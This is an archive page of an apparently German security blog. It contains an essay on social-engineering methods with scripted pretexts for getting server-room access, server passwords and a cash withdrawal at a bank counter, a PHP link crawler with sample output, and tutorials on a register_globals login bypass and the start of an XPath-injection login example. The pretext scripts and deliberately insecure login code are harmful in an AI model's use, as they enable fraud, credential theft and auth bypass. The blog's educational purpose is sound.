Kategorie ‘’

[Exkurs] – Basismethoden des Social Engineering

20. Januar 2010


Vorbemerkung:

Thematisch passt dieser Beitrag nur bedingt in das Schema unseres Blogs, doch gehört zur Sicherheit, und insbesondere Sicherheitsrisiken auch der nicht-technische Faktor, der eine große Rolle spielt.
Aus diesem Grund möchte ich den, von mir verfassten Text auch hier zur Verfügung stellen, sozusagen als kleinen Exkurs in das Gebiet der menschlichen Fahrlässigkeit.

______________________________________________________


Einleitung:

Die Welt ist übersäht mit Fehlern.
Sie treffen jeden und überall.
Machen keinen Halt vor wirtschaftlichen Entwicklungen, Kriegen und Krisen.
Ob auf dem Schreibtisch des Regierenden, Top-Managern, oder auf großen Ansprachen – Fehler können leicht entstehen.
Die Quelle aller Fehler ist aber meistens dieselbe: Der Mensch

Er neigt zu Fehlentscheidungen , Irrtümern, und Prognosen, die keine sind.
Die Ursache ist eine Stufe unserer Entwicklung, die uns zum Individuum macht, die Emotion.

Beeinflussung findet um uns herum statt, zumeist intuitiv und subtil, um auf sein Gegenüber zu reagieren.
Die Welt lebt von der Information, dessen Besitz zu großer Macht und Ansehen führen kann.
Keine Methode ist daher sinnvoller, um an Informationen zu kommen, als die Schwachstellen des Menschen auszunutzen, und bei dem Punkt anzufangen, an dem die Selbstkontrolle des menschlichen Empfindens endet.
Die Anwendungsfelder sind hierbei nahezu unendlich, hervorgerufen durch die vielen Faktoren, die unser tägliches Leben bestimmen, und immer wieder aufs neue auf die Entscheidungsfähigkeit einzelner Personen angewiesen sind.

Zunächst sollte man generell ein psychologisches Gespür haben, redegewandt und rhetorisch begabt sein. Informationen fliegen einem in der Regel nicht zu, und um selbige zu bekommen benötigt man Ausdauer und viel Kreativität.
Natürlich kann man den ganzen Prozess in einer Form einteilen und kategorisieren – Die folgende Auflistung soll nun einige Basismethoden aufzeigen:


1. Mimikri

Mimikry ist eigentlich ein Begriff der Biologie, der ein Verhalten von Tierarten bezeichnet, die andere Arten nachahmen und zu imitieren versuchen.
Beispiele für dieses Verhalten sind eine Reihe von Tiefseefischen, die mittels eines leuchtenden Fortsatzes auf dem Kopf, kleine Würmer oder Plankton nachahmen um Beute anzulocken, oder Schmetterlinge, dessen Muster auf den Flügeln, dem Feind vorgaukeln, es mit einem gefährlichen Tier zu tun zu haben.

Um Informationen zu bekommen ist dieses Verhalten eine äußerst lukrative Goldgrube, da sie sich auf nahezu jeden Persönlichkeitstyp anwenden lässt.
Zunächst sollte man sein Ziel beobachten, um etwas über seine Verhaltensweisen zu erfahren. Das geht nicht von heute auf morgen, und man sollte zunächst einfach eine lockere Kommunikation mit dem Ziel beginnen, und genau beobachten, wie diese Person redet, charakterlich erscheint, wie ihre Ansichten zur Welt generell sind aber natürlich auch Hobbies und das Privatleben. Mimikry bedeutet in diesem Fall nicht das bloße Kopieren des Gegenübers, welches möglicherweise als Respektlosigkeit interpretiert werden könnte, sondern eher das subtile Vorgehen sich der Persönlichkeit seines Gesprächspartners anzugleichen.

Redewendungen und kleinere Zwangshandlungen sind ein wunderbarer Ansatz, um ins Vertrauen mit dem Gegenüber zu kommen.
Der Mensch ist intuitiv so programmiert, er sich in einer gewohnten Umgebung wohlfühlt.
Dies tritt, analog dazu, auch bei dem Wiederfinden seiner eigenen Ansichten, und Angewohnheiten, bei anderen Personen auf, und baut automatisch ein gewisses Basisvertrauen auf.
Es hilft hierbei schon, Floskeln und Handlungen des Ziels geschickt zu wiederholen, und sich verstärkt auf die Gemeinsamkeiten zu konzentrieren.

Man unterscheidet hierbei zwischen der bewussten und der unbewussten Beeinflussung.
Das mitteilen vom gemeinsamen Musikgeschmack, über ähnliche politischen Ansichten , bis hin zum Traumreiseziel, ist der bewussten Beeinflussung zuzuschreiben, da man das Ziel direkt zu einer Wertung „zwingt“ und weil die Kommunikation in ihrer wörtlichen Form generell ein sehr direkter Weg ist, die Information zu vermitteln.
Die Unbewusste Beeinflussung beschreibt eher das Mitteilen seines eigenen Verhaltens, durch lockeres, freundliches Auftreten, Zuverlässigkeit und bei Bedarf auch den Anwendungen des Mimikry.

Hat man es etwa mit einer gebildeten Person mittleren Alters zu tun, ist es unumgänglich auf Formalitäten zu achten, nicht respektlos zu erscheinen und besonders im Gebiet Rhetorik, Kraftwörter und Slangbegriffe zu vermeiden.

Selbstverständlich ist dieser strikte Rahmen nicht immer vonnöten, sei es zum Beispiel in einem Konfliktgespräch mit einem Teenager:
Vertrauen gewinnen kann der Sprecher eher durch das Zeigen von Verständnis für die Situation des Heranwachsenden. Anstatt also den sprichwörtlichen Teufel an die Wand zu malen, ist es nie verkehrt sich für das Umfeld der Person zu interessieren, dieses zu hinterfragen. Rhetorisch lässt sich auf subtile Art und Weise natürlich sehr gut Vertrauen gewinnen, allein durch benutzen derselben Wortwahl und Gestiken.

Diese Form erfordert in der Regel eine längere Aufbauphase, da es beim Mimikry besonders auf das Vertrauen ankommen. Ist man zeitlich also nicht sehr eingeschränkt sollte man diese Methode unbedingt ausprobiert haben.


2. Hektik

Sie begleitet uns durch das tägliche Alltagsleben, ganz gleich ob der Chef einen Stapel Arbeit bereit hält, oder der Lehrer umfangreiche Aufgaben stellt.
Hektik ist dort, wo Arbeit und Zeitdruck aufeinandertreffen und Menschen in Hektik neigen dazu, mit Scheuklappen durch die Welt zu rennen und möglichst schnell ihre Arbeit beenden zu wollen.
Den meisten Menschen, die in Hektik sind, begegnet man nur ungerne, doch in diesem Falle, wird er zum schwächsten Glied der Kette.
Beispiel:
Ein Unternehmen besitzt einige Räume, dessen Zugang nur durch Karten oder Schlüssel gewährleistet ist, die auch nur ranghöhere Mitarbeiter besitzen.
Allerdings wäre es hochinteressant einen Blick ins Innere zu werfen, und man benötigt etwas Hilfe.
Wenn man das Unternehmen kennt, weiß man auch, wer Zugang zu den entsprechenden Räumen hat. Ist dieser Mitarbeiter dann sogar noch relativ neu, wird er unsicherer sein, als seine Kollegen, die schon länger im Betrieb sind.
Das wichtigste ist, den Moment abzupassen, wenn der Mitarbeiter eigentlich gar keine Zeit hat, und sowieso nur schnell etwas erledigen möchte.
Hier greift man dann schnell ein:
„Entschuldigen Sie, ich möchte Sie gar nicht lange stören. Ich müsste nur einmal kurz in den Serverraum .. den Mailclient neustarten.“
So, oder anders, könnte man zum Beispiel dem Mitarbeiter begegnen.
Wenn dieser wirklich keine Ambitionen hat sich großartig darum zu kümmern, und ihm die Arbeit über den Kopf wächst, wird er schnell den Raum aufsperren, und weiter seiner Arbeit nachgehen. Das ist keine Garantie, doch neigen Menschen in Hektik dazu ihre moralischen Verpflichtungen und Verantwortungen beiseite zu schieben.


3. Rhetorik und ihre Wirkung

Es ist entscheidend, wie man mit Leuten kommuniziert, besonders wenn man Informationen erlangen will.
Sind diese Informationen gar geheim, müssen ein paar Basics bereits vorhanden sein, damit man nicht in Schwierigkeiten gerät.

-Aufregung ist auffällig. Möchten sie geheime Daten erschleichen, muss das Gespräch abgeklärt wirken. Verhaspelt man sich, oder gerät ins Stottern, wird der Gesprächspartner misstrauisch und verweigert sich dem Gespräch, oder ergreift sogar Maßnamen, die den Angreifer in große Schwierigkeiten bringen können.
-Man sollte spontan sein. Ändert der Partner seine Meinung, oder beginnt unangenehme Fragen zu stellen, darf man um keine falsche Antwort verlegen sein, und so antworten, als wäre alles völlig legitim.

Möchte man zum Beispiel das Passwort des Servers in Erfahrung bringen, ist es oft ein sinnvoller Ansatz, dem Gegenüber subtil mitzuteilen, dass man das Passwort ja eigentlich schon kennt, aber vergessen hat.
Verbunden mit einer ruhigen und entspannten Stimmlage wird das Opfer vermutlich auch kein Misstrauen schöpfen.

„Ich werde gerade schnell ein Backup für Herrn XY machen …. Wie war denn noch mal das Passwort? Ich kann mir so was nie merken.“

Man muss dem Opfer also das Gefühl geben, dass man über alles Bescheid weiß, und sich nur noch einmal kurz vergewissern möchte.
Dieses Spielchen lässt sich natürlich mit vielen Mitarbeitern wiederholen, falls die Methode anfangs nicht funktioniert.
Gerade Satzfragmente wie „eben schnell“ oder „wie war doch gleich?“ entsprechen dem alltäglichen, unkomplizierten Umgangston, und wirken nicht befremdlich.


4. Der Herr und sein Hund

Es kann passieren, dass die nette Schiene nicht funktioniert und man muss eine Spur drastischer vorgehen.
Hier gelten die Stichworte Respekt und Dominanz, denn das Ziel dieses Weges ist es, Präsenz auszustrahlen, und so einfach an Informationen zu kommen.
Um dies zu verdeutlichen, ein kleines Beispiel:

An einer Bank gibt es mehrere Möglichkeiten Geld abzuheben.
Zum einen gibt es Geldautomaten, Kassenautomaten und die Schalter, an denen die Mitarbeiter zu finden sind.
Der Aspekt „Dominanz“ impliziert, dass man dementsprechend wirken muss.
Ein Beispiel wäre die Rolle eines vielbeschäftigten Geschäftsmannes, der mit Aktenkoffer, Anzug und viel zu wenig Zeit die Filiale betritt.
Ziel ist es, zunächst als sehr gestresst zu erscheinen, indem man genau darauf achtet, häufig auf die Uhr zu schauen, umherzulaufen oder eventuell sogar zu telefonieren, während man darauf wartet, dass man an der Reihe ist.
Da das Abheben am Geldautomaten aber nicht das Ziel ist, denn eventuell ist es nicht die eigene Karte und man hat keine PIN, muss man sich so verhalten, als funktioniere etwas am Automaten nicht richtig, sodass man zu einem der Schalter muss, um Geld abzuheben.
Schnell muss man sich entscheiden, an welchen Schalter man sich anstellt.
Unerfahrene jüngere Angestellte sind hier geeigneter, da sie den Arbeitsablauf oft noch nicht gewohnt sind, und sich leichter einschüchtern lassen.
Hat man den/die richtige/n Angestellte/n gefunden könnte man wie folgt vorgehen:

Sie: Hallo, wie kann ich Ihnen Helfen?
Ich: Ich habe folgendes Problem und hoffe sie können mir da schnell helfen.
Ich benutze nur Online-Banking bei diesem Konto und habe daher meine PIN vergessen und brauche jetzt dringend Bargeld von diesem Konto.
Sie: Sie können auch Geld am Kassenautomaten abheben und können zusätzlich eine neue Karte beantragen. Denn wenn sie den PIN vergessen haben, ist es das einzige was wir für sie machen können.
Ich: Entschuldigen sich mich einen Moment (Mein Handy Klingelt)
Ich: Ja bitte!
Nein
OK
Ich bin noch bei der Bank, das geht hier aber schnell
Ok, warte du schon beim Anwalt auf mich.
Ich: Tut mir leid, dann würde ich gerne eine neue Karte beantragen
und Geld vom Kassenautomaten abheben.
Sie: Ok, dann folgen sie mir bitte, mein Kollege füllt mit ihnen zusammen
die Formulare aus.
Ich: Können Sie dann für mich das mit den Kassenautomaten erledigen?
Sie: Ja klar.

Das Ausfüllen der Formulare für eine neue Karte ist nicht notwendig, und man sollte es nur so erscheinen lassen, um kein Misstrauen zu erregen.
Es wäre denkbar, dass die Angestellte persönliche Informationen wie den Personalausweis benötigt. An dieser Stelle könnte man wieder das Schema „Hektik“ anwenden, und ein wichtiges weiteres Telefonat vortäuschen, und genervt und eilig wirken, so kann man den/die Mitarbeiter/in einschüchtern, sodass man einige Prozeduren umgehen kann.
Während der Gespräche sollte man sehr selbstsicher und authentisch wirken, sodass man vertrauenswürdig, und zugleich dominant erscheint.
Mit etwas Glück erreicht man anschließend das Ziel, wenn der/die Mitarbeiter/in das Geldabheben gewähren lässt.
Das Ausfüllen der Formulare für die neue EC-Karte kann man dann schnell beenden, mit der Ausrede, das man zu einem dringendem Meeting muss.
Bei dieser Methode wird deutlich, dass man verschiedene Methoden kombinieren kann, um sein Ziel zu erreichen. In diesem Falle „Dominanz“ und „Hektik“.


5. Wie dreht man den Spieß um?

Gerne wendet man selbst Methoden des Social Engineering an, um Schwächen von Personen auszunutzen und Informationen zu bekommen.
Doch was passiert, wenn man selbst ins Visier gerät?
Dies kann bereits bei einem Verkaufsgespräch geschehen, wenn man als „unwissender“ Bürger Beratung bezüglich zukunftsträchtiger Anlagefonds oder Anleihen sucht.
In diesem Fall sucht sich der Berater die Schwachstellen, und erzählt, wie viel Gewinn man doch machen könnte bei einem so „sicheren und stabilen“ Angebot.
„Der Fond ist zwar in den letzten Monaten gefallen, aber Untersuchungen haben gezeigt, dass die Lage sich wieder stabilisiert. Dieser Fond hat ein sehr großes Wachstumspotenzial.“
Diese Sätze kennt man häufig, und wenn der Berater nichts taugt, ist das Geld auch schnell weg – zum einen in der Provision des Beraters und zum anderen im Schuldenloch.
Zu Lehman Brothers Zeiten waren Kunden die nicht Bescheid wussten ein gefundenes Fressen für die ausgebildeten Rhetoriker. AD-Kunden wurden sie genannt, „Alt und doof“.

Wie wendet man also das Blatt? Man muss über die Materie bescheid wissen.
Geht man in ein Gespräch und merkt, dass der Berater nur verkaufen möchte, ist es zum Beispiel möglich, ahnungslos zu tun und nur das beste für sein Kapital zu wollen.
Man analysiert die Strategie so lange, bis man weiß, wie der Berater sein Geschäft machen möchte, und zeigt dann sein wahres Gesicht. Man hat den Berater längst durchschaut, sich im Kopf bereits imaginäre Notizen gemacht und holt dann zum Rückschlag aus: „Sie sagten dass der Fond […] , ich habe recherchiert und die Risiken sind beträchtlich höher, wie sie es darstellten. […]“
Man überrumpelt die Zielperson, und macht sich selbst als Opfer unattraktiv.

Dies kann man auf viele Situationen anpassen und ist eine wirksame Möglichkeit sich selbst zu schützen, allerdings nicht ganz ohne Mühen und Vorwissen.


Fazit:

Die hier aufgezeigten Methoden zum erfolgreichen Manipulieren und Kontrollieren von Verhaltensmustern sind essentiell und sehr nützlich, gerade aus dem Grund, dass sie sich ohne Probleme kombinieren lassen.
All das geht nicht in kurzer Zeit, nach dem Motto: „Ich lerne mal eben dies … und das .. und mache dann .. „ sondern erfordert viel Zeit und Übung.
Es gibt unzählige weitere Strategien, die denen hier aufgeführten ähneln.
Eventuell wird es weitere Texte zu diesem Thema geben.

Mit freundlichen Grüßen
Lidloses_Auge

Lidloses_Auge Sonstiges

NovuSec back on the road

14. Dezember 2009

Kleinere Probleme mit dem Server haben für ein paar Tage den Betrieb brach liegen lassen,
doch kurzerhand wurde dieser wieder aufgenommen.

Wir wünschen Ihnen weiterhin einen angenehmen Aufenthalt auf NovuSec.com

Lidloses_Auge Sonstiges

It’s a spider – Web Crawler als Grundlage für Informationsbeschaffung

26. November 2009

Viele Skripte entstehen, wenn man sich viel mit Webbasierten Skriptsprachen wie PHP und Perl auseinandersetzt,
insbesondere solche Skripts, die der Informationsbeschaffung dienen.
Was die Web-Security betrifft können dies beispielsweise Programme sein, die Seiten auf verwundbare Muster
überprüfen, oder Informationen über das komplette System sammeln.

Ein nützliches Tool, um einen solchen Vorgang zu beginnen, nennt sich Web Crawler / Spider, also ein Skript,
welches sich von Seite zu Seite hangelt, und Informationen ausgibt.
Dies können komplexe Crawler sein, wie der Bot von namenhaften Suchmaschinen, oder kleinere, die lediglich einen
Internetauftritt analysieren.

Kürzlich habe ich einen kleinen Crawler geschrieben, der eine Internetseite nach URL’s durchsucht, und diese auflistet.
Hierbei lassen sich verschiedene Ebenen angeben, sozusagen die Suchtiefe, in die der Crawler vorstoßen soll.
Als praktisches Gimmick gibt es zusätzlich einen Ebenenabhängigen Filter, der die URL’s durch eine Whitelist, sowie eine Blacklist schickt, um so die Auswahl einzugrenzen.
Dieser Filter lässt sich nach Ebenen unterscheiden, sodass es zum Beispiel möglich ist, in Ebene 1 zunächst alle aktuellen Links ohne Einschränkung aufzulisten, und diese dann in Ebene 2 nach URL’s mit dem Inhalt “artikel” zu crawlen.

Hier zunächst der crawler als PHP Quellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
	// Crawler by Lidloses_Auge for http://novusec.com
	ini_set("max_execution_time",0);
	$urllist[0][0] = $argv[1];
	$ebene = $argv[2];
	$url[] = $urllist[0][0];
	$suchmuster = "/\"(https?:\/\/.*)\"/U";
	$lists = load_filter($ebene,"filter.ini");
 
	crawl($ebene,$lists[0],$lists[1]);
 
	function crawl($ebene,$white,$black) {
		global $urllist,$url,$suchmuster;
		for ($i = 0; $i < $ebene; $i++) {
			foreach($urllist[$i] as $urltodo) {
				$src = @file_get_contents($urltodo);
				preg_match_all($suchmuster, $src, $treffer, PREG_SET_ORDER);
				foreach($treffer as $trefferToDo) {
					if (!in_array($trefferToDo[1],$url) & filter($trefferToDo[1],$i,$white,$black)) {
						$url[] = $trefferToDo[1];
						$urllist[$i+1][] = $trefferToDo[1];
						echo "[Ebene=".($i+1)."/$ebene] ".$trefferToDo[1]."\r\n";
					}
				}		
			}
		}
	}
 
	function load_filter($ebene,$filterfile) {	
		$parseebene = 0;
		$filter = file($filterfile);
		foreach($filter as $filtertemp) {
			if (preg_match("/\/\*/",$filtertemp)) {
				$comment = 1;
				$filtertemp = substr($filtertemp,0,strpos($filtertemp,"/*"));
			}
			if (preg_match("/\*\//",$filtertemp)) {
				$comment = 0;
				$filtertemp = substr($filtertemp,strpos($filtertemp,"*/")+2);
			}
			if ($comment < 2) {
				if (preg_match("/\#\#/",$filtertemp)) $filtertemp = substr($filtertemp,0,strpos($filtertemp,"##"));
				if (preg_match("/\[(.*)\]/",$filtertemp)) preg_match("/\[(.*)\]/",$filtertemp,$type);
				if (preg_match("/\{/",$filtertemp)) $parseebene++;
				if (preg_match("/\}/",$filtertemp)) {
					$parseebene--;
					if (!is_array(${strtolower($type[1])}[${parseebene}-0])) ${strtolower($type[1])}[${parseebene}-0][] = "";
				}
				if ($parseebene > 0) {
					if (preg_match("/name\(\"(.*)\"\)/U",$filtertemp,$str)) ${strtolower($type[1])}[${parseebene}-1][] = $str[1];
					preg_match("/inherit\(\"(.*)\"\)/",$filtertemp,$inherit);
					if (strtolower($inherit[1]) == "all") $inherit[1] = $ebene-$parseebene;
					for ($i = $parseebene; $i < ($parseebene + $inherit[1]); $i++) {
						${strtolower($type[1])}[$i][] = $str[1];
					}
				}
			}
			if ($comment == 1) $comment = 2;
		}
		return array($whitelist,$blacklist);
	}
 
	function filter($check,$tempebene,$white,$black) {
		$var = true;
		if (!is_array($white[$tempebene])) $white[$tempebene][] = "";
		if (!is_array($black[$tempebene])) $black[$tempebene][] = "";
		foreach($white[$tempebene] as $wch) {
			foreach($black[$tempebene] as $bch) {
				if (!empty($bch)) $var = $var & (strpos(" ".$check,$bch) == 0);
			}
			if (!empty($wch)) $var = $var & (strpos(" ".$check,$wch) != 0);
		}
		return $var;
	}
?>

Die Version ist in dieser Version auf den Konsolenbetrieb ausgelegt.
Um ihn für den Betrieb im Browser anzupassen, müssten lediglich die Zeilen:

1
2
$urllist[0][0] = $argv[1];
$ebene = $argv[2];

mit

1
2
$urllist[0][0] = $_GET['url'];
$ebene = $_GET['ebene'];

ersetzt werden.

Der Aufruf des Programms im Konsolenbetrieb lautet: php crawler.php
Also zum Beispiel:
php crawler.php http://novusec.com 2

Analog zum Konsolenbetrieb müssten dementsprechend die GET Werte gesetzt werden.

Der Crawler nutzt einen filter, der aus einer Datei eingelesen, und geparsed wird.
Dieser könnte wie folgt aussehen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Whitelist]
{
	name("http://novusec.com") inherit("all")
	##name("tutorials")
	{
		name("injection")
		/*
		{
			name("regex")
		}
		*/
	}
}
[Blacklist]
{
	name("page")
	{
		name("category")
		name("sql")
	}
}

Wie leicht zu erkennen ist, beginnt die Whitelist mit [Whitelist] und die Blacklist mit [Blacklist].
Durch Klammerung unterscheiden sich die verschiedenen Ebenen, und mit dem Attribut “name”
lassen sich die Suchbegriffe festlegen.

In diesem Falle wird in der Whitelist auf Ebene 1 nach “http://novusec.com” gesucht, und in Ebene 2 nach “injection”.
Ursprünglich wurde noch eine dritte Ebene festgelegt, die sich jedoch mit der gewohnten Notation für mehrzeilige
Kommentare nicht mehr beim Suchvorgang auswirkt.
Einzeilige Kommentare habe ich mit zwei Rauten “##” realisiert, wie in diesem Beispiel in der ersten Ebene.

Suchbegriffe lassen sich auf untere Ebenen hin vererben, dies geschieht mit dem Attribut “inherit”.
Dadurch spart man sich Schreibarbeit, wenn man einen Suchbegriff in weiteren Ebenen verwenden möchte.
In diesem Fall wurde der Begriff “http://novusec.com” mit inherit(“all”) auf alle weiteren darunterliegenden Ebenen (sofern diese existieren) vererbt, und muss nicht extra aufgeführt werden. Ebenso ist es möglich eine Zahl anzugeben, sofern man den Begriff nur etwa auf eine weitere Ebene vererben will. Dies geschieht auch in Anführungsstrichen, also zum Beispiel inherit(“1″).

Analog zu der Whitelist gestaltet sich natürlich ebenso die Blacklist, bei der alle Begriffe aufgeführt werden, die NICHT in de Ergebnissen vorkommen sollen.

In diesem Falle möchte ich den Aufruf mit novusec.com auf 2 Suchebenen mit dem oben angegebenen Filter darstellen:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
php crawler.php http://novusec.com 2
 
X-Powered-By: PHP/4.4.9
Content-type: text/html
 
[Ebene=1/2] http://novusec.com/feed/
[Ebene=1/2] http://novusec.com/comments/feed/
[Ebene=1/2] http://novusec.com/xmlrpc.php
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/ie6.css
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/js/util.js
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/js/menu.js
[Ebene=1/2] http://novusec.com/xmlrpc.php?rsd
[Ebene=1/2] http://novusec.com/wp-includes/wlwmanifest.xml
[Ebene=1/2] http://novusec.com/wp-content/plugins/dmsguestbook/dmsguestbook.css
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/wp-syntax.css
[Ebene=1/2] http://novusec.com/
[Ebene=1/2] http://novusec.com/links/
[Ebene=1/2] http://novusec.com/shoutbox/
[Ebene=1/2] http://novusec.com/about/
[Ebene=1/2] http://novusec.com/partner/
[Ebene=1/2] http://novusec.com/kontakt/
[Ebene=1/2] http://novusec.com/tools/
[Ebene=1/2] http://novusec.com/sqli-maxdome-de/
[Ebene=1/2] http://novusec.com/wp-content/themes/inove/img/hr.jpg
[Ebene=1/2] http://novusec.com/sqli-maxdome-de/#respond
[Ebene=1/2] http://novusec.com/author/player/
[Ebene=1/2] http://novusec.com/category/sql-injections/
[Ebene=1/2] http://novusec.com/sqli-bild-de-tarifvergleich/
[Ebene=1/2] http://novusec.com/sqli-bild-de-tarifvergleich/#respond
[Ebene=1/2] http://novusec.com/register_globals-ein-sicherheitsrisiko-auf-dem-weg-ins-exil/
[Ebene=1/2] http://novusec.com/register_globals-ein-sicherheitsrisiko-auf-dem-weg-ins-exil/#comments
[Ebene=1/2] http://novusec.com/author/lidloses_auge/
[Ebene=1/2] http://novusec.com/category/php/
[Ebene=1/2] http://novusec.com/xpath-injection-es-geht-auch-ohne-datenbank/
[Ebene=1/2] http://novusec.com/xpath-injection-es-geht-auch-ohne-datenbank/#respond
[Ebene=1/2] http://novusec.com/category/sonstiges/
[Ebene=1/2] http://novusec.com/php-honeypot-script/
[Ebene=1/2] http://novusec.com/php-honeypot-script/#comments
[Ebene=1/2] http://novusec.com/hp/
[Ebene=1/2] http://novusec.com/download/PHP_HoneyPot.rar
[Ebene=1/2] http://novusec.com/wp-content/winrar.png
[Ebene=1/2] http://novusec.com/greasemonkey-oneclickhoster-wait-bypass-script/
[Ebene=1/2] http://novusec.com/greasemonkey-oneclickhoster-wait-bypass-script/#comments
[Ebene=1/2] http://novusec.com/gm/oneclickhoster_wait.user.js
[Ebene=1/2] http://novusec.com/wp-content/greasemonkey.jpg
[Ebene=1/2] http://novusec.com/category/greasemonkey/
[Ebene=1/2] http://novusec.com/adblock-detection-without-javascript/
[Ebene=1/2] http://novusec.com/adblock-detection-without-javascript/#comments
[Ebene=1/2] http://novusec.com/http-response-splitting-crlf-oder-header-injection/
[Ebene=1/2] http://novusec.com/http-response-splitting-crlf-oder-header-injection/#comments
[Ebene=1/2] http://novusec.com/oneclickhoster-wait-bypass/
[Ebene=1/2] http://novusec.com/oneclickhoster-wait-bypass/#comments
[Ebene=1/2] http://novusec.com/category/javascript/
[Ebene=1/2] http://novusec.com/novusec-wieder-online/
[Ebene=1/2] http://novusec.com/novusec-wieder-online/#comments
[Ebene=1/2] http://novusec.com/category/exploits/
[Ebene=1/2] http://novusec.com/category/rfi-lfi/
[Ebene=1/2] http://novusec.com/category/text-tutorials/
[Ebene=1/2] http://novusec.com/category/video-tutorials/
[Ebene=1/2] http://novusec.com/category/xss/
[Ebene=1/2] http://novusec.com/banner/querverweis_88x31o.gif
[Ebene=1/2] http://novusec.com/wp-login.php
[Ebene=1/2] http://novusec.com/wp-content/plugins/wp-useronline/wp-useronline.php
[Ebene=2/2] http://novusec.com/xpath-injection-es-geht-auch-ohne-datenbank/feed/
[Ebene=2/2] http://novusec.com/exploiten-von-preg_replace-regex-injectionremote-code-execution/
[Ebene=2/2] http://novusec.com/exploiten-von-preg_replace-regex-injectionremote-code-execution/#comments
[Ebene=2/2] http://novusec.com/http-response-splitting-crlf-oder-header-injection/feed/

Wie deutlich zu erkennen ist, sind auf Ebene 1 sehr viel mehr URL’s aufgelistet, als bei Ebene 2.
Dies liegt an den strikten Filtereinstellungen für Ebene 2.
Es wurden auf Ebene 2 sämtliche URL’s mit dem Inhalt “injection” aufgelistet, und Begriffe wie “category” und “sql” ausgeschlossen.

In diesem crawler habe ich mich noch nicht besonders um eine ausführliche Fehlerbehandlung bemüht, daher können je nach Filtereinstellung eventuell ein paar Unstimmigkeiten auftreten.
Er soll eher als Beispiel dienen, wie ein crawler arbeiten könnte, mit nützliches Features, wie
dem ebenenabhängigen Filter.

Lidloses_Auge

Lidloses_Auge PHP

register_globals – Ein Sicherheitsrisiko auf dem Weg ins Exil

16. Oktober 2009

PHP ist eine Skriptsprache, die ständig in Bewegung ist,
und viele Neuerungen erfahren hat. Auch kann es passieren,
dass einige Funktionen und Einstellungen als unsicher angesehen
werden, und weniger häufig benutzt werden, oder sogar in späteren
PHP Versionen komplett von der Bildfläche verschwinden.
Eine Einstellung die auf dieses Schema passt, ist “register_globals”,
die in der PHP.ini aktiviert oder deaktiviert werden kann.

Diese Einstellung importiert, sofern sie aktiviert ist, alle Variablen
in einer bestimmbaren Reihenfolge(meist GET, POST, COOKIE, ENV, SERVER)
in den globalen Namensraum, sodass auf sie zugegriffen werden kann, wie
auf globale Variablen.
Im Grunde ist die Funktion ansich nicht unsicher, erleichtert aber ein
Auftreten von Sicherheitslücken bei unsicherer Programmierung.

Ein Beispiel für einen simplen utopischen Login Code verdeutlicht die Gefahr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
echo "<form action = \"\" method=\"POST\"><input type=\"text\" name=\"user\"><br><input type=\"pass\" name=\"pass\"><br><input type = \"submit\" value = \"Senden\"></form>\n";
$dbname = "admin";
$dbpass = "098f6bcd4621d373cade4e832627b4f6"; // md5("test")
$user = $_POST['user'];
$pass = $_POST['pass'];
 
if ($user && $pass) {
	if ((preg_match("/^([a-zA-Z0-9]+)$/",$user)) && (md5($pass) == $dbpass) && $user == $dbname) {
		$logged_in = 1;
	}
	if ($logged_in == 1) {
	echo "logged in";
	/*
		...
		Some more action,which can be done while logged in
		...
	*/
	} else {
		echo "wrong login";
	}
}
?>

Hier ist eine simple kleine Login Routine abgebildet.
Zur Vereinfachung gibt es keine Queries und komplexere Abfragen,
sondern es werden lediglich Strings in Variablen verglichen,
und bei Erfolg der Wert “logged_in” auf 1 gesetzt.
Diese Art von Login ist im übrigen nicht zu empfehlen, und
macht dazu den Code noch äußerst unsauber.

Die Fahrlässigkeit besteht in diesem Falle darin, dass die Variable
“logged_in” nicht im Vorraus initialisiert wurde, sondern sofort im
Kontext verwendet wird, um die Authorisierung zu prüfen.
Bei aktiviertem “register_globals” könnte man nun wie folgt vorgehen:

Da alle Variablen in den globalen Namensraum importiert werden,
kann man via GET Parameter die Variable auf jeden gewünschten Wert setzen.
Ein Aufruf von “login.php?logged_in=1″ führt zu einem Import von “logged_in=1″.
Nun können beliebige Login Daten eingegeben werden, um in die Bedingung
“($user & $pass)” zu springen, und wir haben einen Login vorgetäuscht.

Beheben lässt sich das Problem mit einer initialen Zuweisung von “logged_in”
vor der eigentlichen Verwendung.

1
$logged_in = 0;

So kann der Wert durch den GET Parameter(wahlweise auch andere) nicht verändert werden.

Generell ist es aber von Vorteil die Einstellung “register_globals” komplett deaktiviert
zu lassen, und den Code entsprechend anzupassen, sodass diese Einstellung auch nicht
notwendig wird.

Lidloses_Auge PHP

XPath Injection – Es geht auch ohne Datenbank

2. Oktober 2009

Verschiedene Arten sich Zugang zu Backends zu erschleichen wurden hier bereits vorgestellt.
Zumeist werden dafür Datenbanksysteme in Verbindung mit Skriptsprachen wie PHP verwendet,
um einen User zu Authentifizieren.
Eine Möglichkeit des Login Bypasses, die man bereits aus der SQL Injection kennt, finden wir auch in anderen Bereichen wieder:

Ein XML Dokument kann auch als Speicher von Nutzerdaten dienen, und dem Login dienen.
Dieses Dokument könnte simpel gestrickt wie folgt aussehen:

1
2
3
4
5
6
7
8
9
10
<users>
	<user>
		<username>test</username>
		<password>abcd</password>
	</user>
	<user>
		<username>root</username>
		<password>YouKnowSomethingAboutXPath</password>
	</user>
</users>

Wir sehen die typische Baumstruktur der Auszeichnungssprache XML und die Nutzerdaten.
Ein unsicheres simples Login Skript kann in PHP so realisiert werden:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
	<form action = "" method="POST">
		<input type="text" name="user"><br>
		<input type="passwort" name="pass"><br>
		<input type="reset" value="Reset">
		<input type="submit" value="Senden">
	</form>
<html>
<?php
	$user = $_POST['user'];
	$pw = $_POST['pass'];
